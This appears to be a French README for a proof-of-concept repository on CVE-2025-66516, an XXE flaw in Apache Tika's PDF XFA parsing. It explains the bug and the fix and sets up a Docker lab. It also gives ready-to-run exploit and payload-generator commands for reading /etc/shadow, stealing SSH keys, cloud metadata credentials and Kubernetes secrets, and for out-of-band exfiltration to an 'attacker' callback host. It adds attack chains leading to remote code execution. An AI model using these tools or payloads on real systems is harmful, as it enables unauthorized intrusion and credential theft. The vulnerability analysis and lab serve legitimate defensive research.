
CVE-2025-66516 exploit fonctionnel, scanner, explication.
CVE-2025-66516 est une vulnérabilité critique d'injection d'entités externes XML (XXE) dans Apache Tika avec un score CVSS de 10.0 (sévérité maximale). La vulnérabilité permet à un attaquant distant de lire des fichiers arbitraires, d'effectuer une falsification de requête côté serveur (SSRF) et d'exfiltrer des données sensibles en téléchargeant un document PDF spécialement conçu contenant du contenu XFA (XML Forms Architecture) malveillant.
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2025-66516 |
| Score CVSS | 10.0 (Critique) |
| Divulgué | 4 décembre 2025 |
| Fournisseur | Apache Software Foundation |
| Produit affecté | Apache Tika |
| Vecteur d'attaque | Réseau (à distance) |
| Authentification | Aucune requise |
| Composant | Versions vulnérables | Version corrigée |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Important : Ce CVE remplace CVE-2025-54988, qui identifiait incorrectement uniquement le module PDF comme vulnérable. La vulnérabilité réelle réside dans tika-core.
La vulnérabilité est un défaut d'injection d'entités externes XML (XXE) dans la façon dont Apache Tika traite les données XFA (XML Forms Architecture) dans les documents PDF.
Le problème : Tika s'appuie sur les analyseurs XML Java sous-jacents (notamment un analyseur StAX) pour lire le contenu XFA XML. Les versions vulnérables n'ont pas correctement configuré l'analyseur pour désactiver la résolution d'entités externes. Lorsque l'analyseur rencontre une demande d'entité externe (comme SYSTEM "file:///etc/passwd"), il résout et renvoie le contenu du fichier.
Emplacement : Le bug existe dans XMLReaderUtils.getXMLInputFactory() dans tika-core :
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Inefficace
return factory;
}
Le IGNORING_STAX_ENTITY_RESOLVER était destiné à bloquer les XXE en renvoyant un résultat vide, mais il renvoyait un String au lieu du InputStream attendu. L'analyseur StAX par défaut du JDK a silencieusement ignoré ce type de retour incorrect et est revenu au comportement par défaut, qui résout les entités externes.
Le correctif désactive explicitement le support DTD et des entités externes au niveau de la fabrique :
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
De plus, le résolveur a été modifié pour renvoyer un type InputStream approprié.
Dans l'écosystème Java, plusieurs bibliothèques d'analyseurs XML existent. Les applications utilisent l'analyseur configuré ou trouvé en premier sur le classpath.
Qu'est-ce que Woodstox ? Woodstox est un analyseur XML Stax haute performance et open source, couramment inclus dans les applications Java.
Comment il fournit la protection : Par conception (pas par accident), l'implémentation de Woodstox gère correctement le type de retour du XMLResolver. Lorsque Woodstox reçoit la valeur de chaîne de IGNORING_STAX_ENTITY_RESOLVER, il la traite comme un contenu vide valide, bloquant ainsi l'XXE.
Distinction critique :
tika-server-standard.jar inclut Woodstox - NON VULNÉRABLEtika-core + modules d'analyseur (utilisation intégrée) N'inclut PAS Woodstox - VULNÉRABLE# 1. Démarrer l'environnement de laboratoire
docker-compose up -d --build
# 2. Tester contre Tika vulnérable (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extraire /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Comparer avec Tika protégé (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Orchestration du laboratoire
|-- vulnerable-tika/
| |-- Dockerfile # Tika avec Woodstox (protégé)
| +-- Dockerfile.jdk-stax # Tika sans Woodstox (VULNÉRABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Application de téléversement Flask
| +-- templates/
|-- poc/
| |-- exploit.py # Outil d'exploitation automatisé
| +-- generate_payload.py # Générateur de PDF malveillants
+-- README.md
docker-compose up -d --build
exploit.py)Exploitation complète avec génération automatique de charge utile et extraction de données.
# Vérifier si la cible est vulnérable
python poc/exploit.py --url http://target:9998 --check
# Lire des fichiers locaux
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# Vol de métadonnées AWS (instances EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Secrets Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF vers services internes
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Sauvegarder les données extraites
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Génère des fichiers PDF malveillants pour des tests manuels ou l'intégration avec d'autres outils.
# Générer une charge utile pour un fichier spécifique
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Générer une charge utile SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Générer une charge utile d'exfiltration OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Utiliser des préréglages de mode d'attaque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Lister les modes d'attaque disponibles
python poc/generate_payload.py --list-modes
Modes d'Attaque Disponibles :
file_read - Lire les fichiers locaux (/etc/passwd, /etc/shadow, etc.)ssh_keys - Voler les clés privées SSHaws_metadata - Métadonnées AWS EC2 et identifiants IAMgcp_metadata - Jetons de compte de service GCPazure_metadata - Jetons d'identité managée Azurek8s_secrets - Identifiants de compte de service Kuberneteswebapp_configs - Configurations d'application web courantesssrf_internal - Sonder les services internesTest contre Tika 2.9.2 sans Woodstox (simulation de déploiements intégrés) :
| Test | Résultat |
|---|---|
| Détection XFA | [RÉUSSI] PDF reconnu comme ayant XFA |
| Analyse XFA | [RÉUSSI] Contenu XFA extrait |
| Lecture de fichier XXE | [VULNÉRABLE] Contenu de /etc/passwd exfiltré |
| SSRF XXE | [VULNÉRABLE] Requêtes externes envoyées |
Preuve d'Exploitation :
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Test contre Tika 2.9.2 avec Woodstox (tika-server-standard.jar standard) :
| Test | Résultat |
|---|---|
| Détection XFA | [RÉUSSI] PDF reconnu comme ayant XFA |
| Analyse XFA | [RÉUSSI] Contenu XFA extrait |
| Lecture de fichier XXE | [BLOQUÉ] Entités externes non résolues |
| SSRF XXE | [BLOQUÉ] Aucune connexion sortante |
La sortie montre une entité vide :
<li fieldName="data">data: </li>
La vulnérabilité est réelle et critique. L'exploitation dépend de l'implémentation StAX :
tika-server-standard.jar - Woodstox inclus bloque l'XXEL'XXE est fondamentalement une vulnérabilité de lecture de fichier/SSRF, pas de RCE directe. Cependant, elle permet plusieurs chemins d'attaque :
| Attaque | Exemple de Charge Utile |
|---|---|
| Lecture de fichier | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| Métadonnées AWS | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Scénario | Chemin d'Attaque |
|---|---|
| AWS EC2 |
Mettre à niveau Apache Tika vers la version 3.2.2 ou ultérieure
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Vérifier que tous les composants Tika sont mis à jour (tika-core ET modules d'analyseur)
| Type de Déploiement | Niveau de Risque |
|---|---|
| tika-server-standard.jar | FAIBLE - Woodstox atténue |
| Tika intégré (utilisation en bibliothèque) | ÉLEVÉ - Probablement vulnérable |
| Personnalisé sans Woodstox | ÉLEVÉ - Vulnérable |
Problème 1 : L'exploit initial ne fonctionnait pas
Problème 2 : Erreur de déclarations XML multiples
WstxParsingException: Illegal processing instruction target ("xml")Problème 3 : Le mystère Woodstox
Problème 4 : Test de la mauvaise configuration
| Date | Événement |
|---|---|
| Août 2025 | CVE-2025-54988 divulgué (périmètre incomplet) |
| 4 décembre 2025 | CVE-2025-66516 publié (périmètre complet identifié) |
| 4 décembre 2025 | Apache Tika 3.2.2 publié avec correctif |
Cet environnement de laboratoire et le code de preuve de concept sont fournis uniquement pour les tests de sécurité autorisés, les fins éducatives et la recherche défensive.
N'utilisez pas ces outils contre des systèmes sans autorisation écrite explicite.
Ce matériel de recherche est fourni à des fins éducatives. Utilisez-le de manière responsable.
| Service | Port | Description |
|---|
| Application Web | 8080 | Interface de téléversement de documents |
| Tika (Woodstox) | 9998 | Protégé - PAS vulnérable |
| Tika (JDK StAX) | 9997 | VULNÉRABLE - Pas de Woodstox |
| Écouteur Attaquant | 9999 | Serveur HTTP pour test OOB |
| XXE -> SSRF vers métadonnées -> Identifiants IAM -> RCE AWS CLI |
| Kubernetes | XXE -> Lire le jeton de compte de service -> kubectl exec |
| Jenkins interne | XXE -> SSRF vers console de scripts -> RCE Groovy |
| Base de données | XXE -> Lire les fichiers de configuration -> Accès base de données |
| SSH | XXE -> Lire les clés SSH -> Accès shell distant |